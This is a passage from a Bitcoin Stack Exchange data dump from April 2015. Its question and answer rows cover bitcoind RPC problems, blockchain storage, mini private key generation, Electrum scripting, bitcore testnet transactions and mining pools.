bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=b&#xA;rpcpassword=a&#xA;txindex=1&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is debug.log, its at this link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. goto 66.42.220.205:18809 (its a website) type that in URL box &#xA;in a web browser&#xA;&#xA;2. download debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is can I prevent bitcoind from eventually coming to a point where I have to restart it using the command &quot;kill -s 9 (pid)&quot; and &quot;bitcoind -txindex&quot;, or can I prevent it from coming into a state where it wont let me interact with it? If I can prevent this, how do I? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I need to use -txindex because it keeps an index of transactions and I need that for payment processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="25105" LastEditorUserId="25105" LastEditDate="2015-04-18T13:22:52.540" LastActivityDate="2015-04-18T15:06:42.370" Title="bitcoind inconsistent authentication error" Tags="|bitcoind|json-rpc|authentication|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36972" PostTypeId="1" AcceptedAnswerId="37050" CreationDate="2015-04-18T00:48:44.183" Score="4" ViewCount="530" Body="&lt;p&gt;I was wondering has there been any attempts on using the blockchain as a decentralized database storage system? Would it be feasible to use it on Bitcoin or another Altcoin and if so which altcoin would suit it best? I would imagine Bitcoin would have the most redundancy as it has the most nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example I have my CMS and I wanted to store my user records in a blockchain. Or is there another practical example when using blockchain for storing database records?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-04-23T14:12:19.153" Title="Using Bitcoin or another Altcoin for Decentralized Database Storage" Tags="|blockchain|altcoin|database|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36973" PostTypeId="1" CreationDate="2015-04-18T04:57:37.280" Score="1" ViewCount="125" Body="&lt;p&gt;I am looking for a system that provides users with the option to deposit and withdraw BTC to a generated address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically something that works like &lt;a href=&quot;https://primedice.com/play&quot; rel=&quot;nofollow&quot;&gt;https://primedice.com/play&lt;/a&gt; and &lt;a href=&quot;https://dicecoin.io/&quot; rel=&quot;nofollow&quot;&gt;https://dicecoin.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this, perhaps there is an all-in-one bitcoin dice system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6615" LastActivityDate="2020-08-13T14:35:21.927" Title="Online wallet for betting / customer profile?" Tags="|wallet|address|gambling|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36975" PostTypeId="2" ParentId="36972" CreationDate="2015-04-18T09:57:19.080" Score="1" Body="&lt;p&gt;Yes there have been some proposed ideas such as &lt;a href=&quot;http://filecoin.io/&quot; rel=&quot;nofollow&quot;&gt;FileCoin&lt;/a&gt;, &lt;a href=&quot;http://storj.io/&quot; rel=&quot;nofollow&quot;&gt;Storj&lt;/a&gt; and probably others. However, I'm not sure how well these systems work because there would need to be a way to prove to other peers that you actually are serving the piece of data. Some call it proof-of-storage, others proof-of-retrievability. But it's still an open problem that nobody seems to have solved yet. I mean, this is probably why both projects I mentioned above aren't ready yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a technical point of view the idea of a P2P storage system is that if you upload a piece of content on this cloud, you'd expect it to be there &lt;em&gt;all the time&lt;/em&gt;. That's the whole point of a cloud; you upload it, and can download it from anywhere in the world at any time. I'm not sure that P2P is a good solution to this issue. A client-server model, from an entity that you trust and pay directly which has reputation (say Dropbox), is probably a better mechanism of doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a P2P system, all the nodes that were holding your data could simply go offline for no particular reason and your data would be unreachable. Furthermore, even if the nodes were incentivized to keep sharing your data (perhaps being compensated through some form of cryptocurrency), there's still no way to figure out how the incentive would work exactly. For example, how would you stop yourself from serving your own data using another computer, and therefore getting all the crypto yourself? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a very interesting problem and I think we're slowly getting there, but we really need to get the incentives right, and it's a really hard problem in a P2P system. But hey, there's hope, just look at Bitcoin!&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="2306" LastEditDate="2015-04-20T05:34:34.713" LastActivityDate="2015-04-20T05:34:34.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36978" PostTypeId="1" CreationDate="2015-04-18T15:16:43.303" Score="3" ViewCount="56" Body="&lt;p&gt;I'm relatively new to using the litecoin software.  I watched the local copy of the blockchain build all the way down to two days.  Suddenly, &lt;em&gt;it jumped back up&lt;/em&gt; to 8 days, and then built all the way down to zero days and finished.  The time it took to go from 8 days down to zero was a lot faster than the normal build had been down to two days (about ten or fifteen minutes). Knowing that this latter part of the build would be &lt;em&gt;past all the checkpoints&lt;/em&gt; (do I know that?), is there an issue here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers to comment section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nick: No, the time was not altered, and the computer was never rebooted during the blockchain build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I deleted the blockchain, due to suspicion.  Now I wish I'd kept it for forensic analysis.&lt;/p&gt;&#xA;" OwnerUserId="25113" LastEditorUserId="2306" LastEditDate="2015-04-21T17:38:41.703" LastActivityDate="2015-04-21T17:38:41.703" Title="Syncronization time jumps up to 8 days, then down again" Tags="|litecoin|litecoin-qt|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T20:49:49.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="36980" PostTypeId="2" ParentId="25133" CreationDate="2015-04-18T20:04:47.337" Score="1" Body="&lt;p&gt;A centralized payment verification system, like Paypal or any number of financial institutions, only considers payments &quot;valid&quot; if they come from within the organization. A single organization is responsible for verifying the truth of statements (with a statement being &quot;Bob sent Alice $50&quot; and the like). This means that there is no mechanism of agreement on transactions required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, decentralized systems like Bitcoin, Ripple and Stellar all must come to agreement on which transactions are valid, without a centralized authority to confirm their truth. &lt;a href=&quot;http://en.wikipedia.org/wiki/Proof-of-work_system&quot; rel=&quot;nofollow&quot;&gt;Proof-of-Work&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Proof-of-stake&quot; rel=&quot;nofollow&quot;&gt;Proof-of-Stake&lt;/a&gt;, &lt;a href=&quot;http://tendermint.com/docs/tendermint.pdf&quot; rel=&quot;nofollow&quot;&gt;Tendermint&lt;/a&gt; and &lt;a href=&quot;https://www.stellar.org/papers/stellar-consensus-protocol.pdf&quot; rel=&quot;nofollow&quot;&gt;SCP&lt;/a&gt; (Stellar Consensus Protocol) are each different solutions to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros of a centralized system:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No need for a mechanism of agreement, such as mining or consensus&lt;/li&gt;&#xA;&lt;li&gt;Lower operational costs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons of a centralized system:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Single_point_of_failure&quot; rel=&quot;nofollow&quot;&gt;single point of failure&lt;/a&gt;. If the central authority goes down or offline, the entire network is compromised.&lt;/li&gt;&#xA;&lt;li&gt;Centralization can post ethical issues of who controls information and money.It opposes the ethos of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Net_neutrality&quot; rel=&quot;nofollow&quot;&gt;neutral net&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Creates a closed network, meaning that entities can only join the system with the consent of the centralized authority&lt;/li&gt;&#xA;&lt;li&gt;May only serve the interest of the centralized authority.&lt;/li&gt;&#xA;&lt;li&gt;Does not allow for p2p interaction/payments&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25073" LastActivityDate="2015-04-18T20:04:47.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36981" PostTypeId="2" ParentId="35566" CreationDate="2015-04-18T20:23:12.877" Score="0" Body="&lt;p&gt;Log into localbitcoins. Find your deposit address and then send from multibit as per the link marek posted.&lt;/p&gt;&#xA;" OwnerUserId="25116" LastActivityDate="2015-04-18T20:23:12.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36982" PostTypeId="2" ParentId="36953" CreationDate="2015-04-18T20:26:53.320" Score="0" Body="&lt;p&gt;Take a look at bitcoin payments for woocommerce plugin. It can generate unlimited addresses from a single electrum master public key. You can't spend using just the public key so it is safe too.&lt;/p&gt;&#xA;" OwnerUserId="25116" LastActivityDate="2015-04-18T20:26:53.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36984" PostTypeId="1" AcceptedAnswerId="36987" CreationDate="2015-04-18T22:54:35.683" Score="5" ViewCount="287" Body="&lt;p&gt;What is the theoretical minimum number of logical operations an ASIC needs to perform to compute double iterated SHA256, i.e., sha(sha(•))?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2021-03-07T22:00:49.393" LastActivityDate="2021-03-07T22:00:49.393" Title="Theoretical minimum # of logic operations to perform double iterated SHA256?" Tags="|sha256|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36985" PostTypeId="1" CreationDate="2015-04-19T01:03:38.583" Score="5" ViewCount="1141" Body="&lt;p&gt;I am trying to create a transaction on the bitcoin &lt;strong&gt;testnet&lt;/strong&gt;, using &lt;a href=&quot;http://bitcore.io/playground/#/transaction&quot; rel=&quot;noreferrer&quot;&gt;bitcore&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Message :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var transaction = new bitcore.Transaction()&#xA;.from({&quot;address&quot;:&quot;msxGdsTJJYu7YrmkV4sbHNK8Z21pHFZ2gX&quot;,&quot;txid&quot;:&quot;0c0d9ad92f07e774a76194823a92bf2521aa57381ad4782becf20fdf385e1922&quot;,&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;76a914886b382436985b195d1dfcdb00c722c1f2fcd0ea88ac&quot;,&quot;amount&quot;:0.01})&#xA;.to('mjsVogqLetdUjT9raJY6WgYmy3tifJ3DJz', 20000)&#xA;.sign('0497427ad1b6177fe950758f10151ba38a6b38d44577ba45fb06423143bb55a2')&#xA;.change('mhCpGNNHQmu4P9pUZcCmgXkxbYxys5pKBw')&#xA;&#xA;&amp;lt;Transaction: 010000000122195e38df0ff2ec2b78d41a3857aa2125bf923a829461a774e7072fd99a0d0c0000000000ffffffff02204e0000000000001976a9142fc320597ba67a66167721bc9c36d987e03c225b88ac10cd0e00000000001976a91412820fdb8340e5198b3c31de5688faa7927b0d7188ac00000000&amp;gt;&#xA;&#xA;transaction.serialize()&#xA;010000000122195e38df0ff2ec2b78d41a3857aa2125bf923a829461a774e7072fd99a0d0c0000000000ffffffff02204e0000000000001976a9142fc320597ba67a66167721bc9c36d987e03c225b88ac10cd0e00000000001976a91412820fdb8340e5198b3c31de5688faa7927b0d7188ac00000000&#xA;&#xA;&amp;gt;&amp;gt; var Insight = require('bitcore-explorers')&#xA;[object Object]&#xA;&amp;gt;&amp;gt; var client = new Insight.Insight()&#xA;[object Object]&#xA;&amp;gt;&amp;gt; client.broadcast(transaction, function(err, txId) { console.log('Id:', txId, err);})&#xA;undefined&#xA;Id: undefined SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to broadcast this transaction using &lt;a href=&quot;https://live.blockcypher.com/btc-testnet/pushtx/&quot; rel=&quot;noreferrer&quot;&gt;BlockCypher&lt;/a&gt;, the error message is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error validating transaction: Rejected script for input 0 referencing 0c0d9ad92f07e774a76194823a92bf2521aa57381ad4782becf20fdf385e1922 at 0. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2020-04-18T22:03:00.437" Title="Cannot create a transaction" Tags="|transactions|testnet|bitcore|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36987" PostTypeId="2" ParentId="36984" CreationDate="2015-04-19T05:25:20.110" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;SHA256D, which is what Bitcoin uses, is 128 rounds, comprising&lt;/p&gt;&#xA;&lt;p&gt;768 additions,&lt;/p&gt;&#xA;&lt;p&gt;640 ORs&lt;/p&gt;&#xA;&lt;p&gt;896 XORs&lt;/p&gt;&#xA;&lt;p&gt;And a bunch of bit shifts but bit shifts are free on an ASIC.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1029536.msg11131028#msg11131028&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-19T06:07:10.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36988" PostTypeId="1" CreationDate="2015-04-19T06:59:38.980" Score="4" ViewCount="4215" Body="&lt;p&gt;I want to use my electrum wallet balance in my another python application.&#xA;How do I make a call to the getbalance() function?&lt;/p&gt;&#xA;" OwnerUserId="19568" LastActivityDate="2015-04-20T00:05:30.337" Title="How can I run an Electrum console command from outside Electrum (in Linux)?" Tags="|electrum|python|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36989" PostTypeId="1" CreationDate="2015-04-19T09:52:26.553" Score="3" ViewCount="1555" Body="&lt;p&gt;I installed &lt;a href=&quot;https://electrum.org/#download&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; on my Raspberry Pi. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I ran &lt;code&gt;electrum create&lt;/code&gt; to make a wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I ran &lt;code&gt;electrum daemon start&lt;/code&gt; to start the background process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to query the balance of my wallet (should be 0) from the command line using &lt;code&gt;electrum getbalance&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@fish ~]# electrum getbalance&#xA;daemon is not connected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Daemon status:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@fish ~]# electrum daemon status&#xA;{&#xA;    &quot;blockchain_height&quot;: 352760,&#xA;    &quot;connected&quot;: false,&#xA;    &quot;nodes&quot;: [&#xA;        &quot;electrum.thwg.org:50002:s&quot;,&#xA;        &quot;kirsche.emzy.de:50002:s&quot;,&#xA;        &quot;ecdsa.net:110:s&quot;,&#xA;        &quot;erbium1.sytes.net:50002:s&quot;,&#xA;        &quot;electrum.drollette.com:50002:s&quot;,&#xA;        &quot;eco-electrum.ddns.net:50002:s&quot;,&#xA;        &quot;EAST.electrum.jdubya.info:50002:s&quot;&#xA;    ],&#xA;    &quot;server&quot;: &quot;electrum.be&quot;,&#xA;    &quot;server_height&quot;: 0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;&quot;connected&quot;: false,&lt;/code&gt; field. What does this mean? Is it related to my node not working?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2017-11-10T08:52:48.970" Title="electrum CLI - 'daemon is not connected'" Tags="|linux|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36990" PostTypeId="1" CreationDate="2015-04-19T10:02:34.933" Score="2" ViewCount="194" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=422129.0&quot; rel=&quot;nofollow&quot;&gt;NEM's thread in bitcointalk&lt;/a&gt;, it mentions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NEM doesn’t use so-called “scripts” aka predicates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I understand how Bitcoin use the script to verify the transaction. May I know where I can read how NEM is going to verify the transaction in detail, without using the script?&lt;/p&gt;&#xA;" OwnerUserId="25121" LastEditorUserId="2306" LastEditDate="2015-04-19T10:14:12.993" LastActivityDate="2015-09-17T09:07:41.993" Title="Without using something like Bitcoin Script, how NEM verify the transaction?" Tags="|transactions|script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36991" PostTypeId="2" ParentId="36990" CreationDate="2015-04-19T15:12:44.493" Score="2" Body="&lt;p&gt;NEM uses some servers as the transaction validators called NIS. User signs the code and then the signed byte is sent over the network which is received and processed by the other servers. If you are not a server then all you need to do is to sign the transaction and send it to the severs and that is why NEM doesn't need a similar script language like bitcoin. However servers should have a complicated mechanism and code to verify transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check NEM servers &lt;a href=&quot;http://nodeexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and anyone with the server software running can be a server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This creates a server-client architecture which eliminates some processes from the clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resource: Makoto, a NEM core developer&lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="4206" LastEditDate="2015-04-20T05:58:49.350" LastActivityDate="2015-04-20T05:58:49.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36992" PostTypeId="1" CreationDate="2015-04-19T16:58:50.870" Score="1" ViewCount="40" Body="&lt;p&gt;I've understood for a while that bitcoin mining was a process that required computers to solve increasingly difficult problems in order to mine a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wasn't until now that I realized those &quot;problems&quot; are actually the act of keeping track of all bitcoin transactions, updating the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before this, I thought every bitcoin client on earth did that work to keep trackof the block chain together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this new understanding, I have to ask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When all bitcoins have been mined, and there is no more reward for this computation by butcoin miners to update/keep track of the block chain, why would people continue to spend the resources to accomplish that task? &lt;/p&gt;&#xA;" OwnerUserId="25123" LastEditorUserId="5406" LastEditDate="2016-02-08T12:51:08.650" LastActivityDate="2016-02-08T12:51:08.650" Title="When all bitcoins have been mined, how can the Block Chain's interaction be supported?" Tags="|mining-reward|reward-schedule|" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-19T18:11:23.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="36993" PostTypeId="2" ParentId="36988" CreationDate="2015-04-19T17:36:33.853" Score="1" Body="&lt;p&gt;You can use electrum as a library in your scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://github.com/spesmilo/electrum/tree/master/scripts&quot; rel=&quot;nofollow&quot;&gt;scripts directory&lt;/a&gt; in the github repo, with examples to learn from.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="2306" LastEditDate="2015-04-19T19:33:57.697" LastActivityDate="2015-04-19T19:33:57.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36994" PostTypeId="1" AcceptedAnswerId="36995" CreationDate="2015-04-19T19:10:33.157" Score="2" ViewCount="1705" Body="&lt;p&gt;When creating a private key, how would I ensure that there is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot; rel=&quot;nofollow&quot;&gt;mini private key equivalent&lt;/a&gt;, which could be substituted in place of the the full private key? What math would I have to use to create such a private key for bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="25105" LastEditorUserId="2306" LastEditDate="2015-04-19T19:30:01.433" LastActivityDate="2016-04-19T14:47:57.697" Title="math to make a full private key have a mini private key equivalent" Tags="|private-key|mini-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36995" PostTypeId="2" ParentId="36994" CreationDate="2015-04-19T19:29:06.830" Score="2" Body="&lt;p&gt;You can't create a minikey for a private key - you need to create a private key once you've created a minikey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to ensure that the SHA256 of the mini key plus a question mark after it has a hash starting with &lt;code&gt;00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, in Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sha256(candidate + &quot;?&quot;)[0] == chr(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following Python program will generate mini keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;from binascii import hexlify as hx&#xA;import random&#xA;rand = random.SystemRandom()&#xA;&#xA;B58_ALPHA = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;&#xA;&#xA;def sha256(s):&#xA;    return hashlib.sha256(s).digest()&#xA;&#xA;def gen_candidate():&#xA;    candidate = &quot;S&quot;&#xA;    for i in xrange(29):&#xA;        candidate = candidate + rand.choice(B58_ALPHA)&#xA;    return candidate&#xA;&#xA;def test_candidate(candidate):&#xA;    return sha256(candidate + &quot;?&quot;)[0] == chr(0)&#xA;&#xA;while True:&#xA;    c = gen_candidate()&#xA;    if test_candidate(c):&#xA;        print c, hx(sha256(c))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-04-19T14:47:57.697" LastActivityDate="2016-04-19T14:47:57.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36996" PostTypeId="5" CreationDate="2015-04-19T19:30:49.517" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-19T19:30:49.517" LastActivityDate="2015-04-19T19:30:49.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36997" PostTypeId="4" CreationDate="2015-04-19T19:30:49.517" Score="0" Body="The mini private key format. https://en.bitcoin.it/wiki/Mini_private_key_format" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-19T19:30:49.517" LastActivityDate="2015-04-19T19:30:49.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37000" PostTypeId="2" ParentId="36988" CreationDate="2015-04-19T23:56:09.060" Score="4" Body="&lt;p&gt;You might find it easier to just query an electrum server directly. Stratum is a nice protocol in that it's easy to use in an ad-hoc fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using python3 this is almost certainly the easier solution, too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_from_electrum(method, params=[]):&#xA;    params = [params] if type(params) is not list else params&#xA;    s = socket.create_connection(('ecdsa.net', 50001))&#xA;    s.send(json.dumps({&quot;id&quot;: 0, &quot;method&quot;: method, &quot;params&quot;: params}).encode() + b'\n')&#xA;    return json.loads(s.recv(99999)[:-1].decode())&#xA;&#xA;get_from_electrum('blockchain.address.get_balance', '1MaxKayeQg4YhFkzFz4x6NDeeNv1bwKKVA')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;result&quot;: {&#xA;        &quot;unconfirmed&quot;: 0,&#xA;        &quot;confirmed&quot;: 237093847&#xA;    },&#xA;    &quot;id&quot;: 0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation: &lt;a href=&quot;https://electrum.orain.org/wiki/Stratum_protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://electrum.orain.org/wiki/Stratum_protocol_specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25126" LastEditorUserId="25126" LastEditDate="2015-04-20T00:05:30.337" LastActivityDate="2015-04-20T00:05:30.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37001" PostTypeId="1" CreationDate="2015-04-20T02:12:20.127" Score="4" ViewCount="18044" Body="&lt;p&gt;I'm new to mining, and using GUI miner on windows 7 AMD APU A-Series. I set it up today, put in my username.workername and put in stratum.bitcoin.cz as the host, and 3333 as the port. It says I'm getting 2 MHash/sec, but when I go to the Slush's pool website it says my worker is offline! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody please tell me what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="25129" LastEditorUserId="2306" LastEditDate="2015-04-20T04:24:09.970" LastActivityDate="2018-03-31T09:30:04.213" Title="Slush's pool worker offline" Tags="|mining-pools|guiminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37003" PostTypeId="2" ParentId="37001" CreationDate="2015-04-20T08:14:27.757" Score="4" Body="&lt;p&gt;At this point 2 TH/s is ok for small miners, 2 GH/s is crazy slow and 2 MH/s is probably not enough for the pool to even detect that you are mining at all. So that's most likely your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the best gaming computers had to give up in 2013. Mining is now done on ASIC hardware. Computers are just too slow.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-04-20T08:14:27.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37004" PostTypeId="1" CreationDate="2015-04-20T11:44:20.257" Score="1" ViewCount="1237" Body="&lt;p&gt;I have got the api working and i can run commands like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;access = AuthServiceProxy(&quot;http://root:123@127.0.0.1:8332&quot;)&#xA;access.getinfo()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However not sure how to use more complicated commands such as:&#xA;move &quot;fromaccount&quot; &quot;toaccount&quot; amount ( minconf &quot;comment&quot; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried something like this, but i get a syntax error in python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name = &quot;bob&quot;&#xA;name2 = &quot;sam&quot;&#xA;balance = 0.0001&#xA;access.move(name name2 balance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing it like this i get JSONRPCException:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name = &quot;bob&quot;&#xA;name2 = &quot;sam&quot;&#xA;balance = 0.0001&#xA;access.move('%s' '%s' '%s'), (name, name2, balance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14697" LastActivityDate="2015-06-20T20:20:41.013" Title="Help me use python-bitcoinrpc" Tags="|json-rpc|python|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37005" PostTypeId="1" CreationDate="2015-04-20T13:47:40.737" Score="1" ViewCount="73" Body="&lt;p&gt;We launched &lt;a href=&quot;https://reload.bitnik.eu&quot; rel=&quot;nofollow&quot;&gt;Reload&lt;/a&gt;, an online service that binds your bitcoin wallet to your bitcoin exchange account (16 supported so far): whenever you spend bitcoins from your wallet, Reload will use your exchange account to immediately repurchase the same amount of bitcoins. Reload also enables automated reporting and bookkeeping. Do you think such services might encourage Bitcoin spending? Are you repurchasing Bitcoins automatically with some other service already? Do you find this kind of service useful?&lt;/p&gt;&#xA;" OwnerUserId="25135" LastActivityDate="2015-04-20T21:22:25.450" Title="Would a service for automated repurchasing of Bitcoins encourage spending?" Tags="|wallet|exchanges|buy-bitcoins|taxes|spending|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
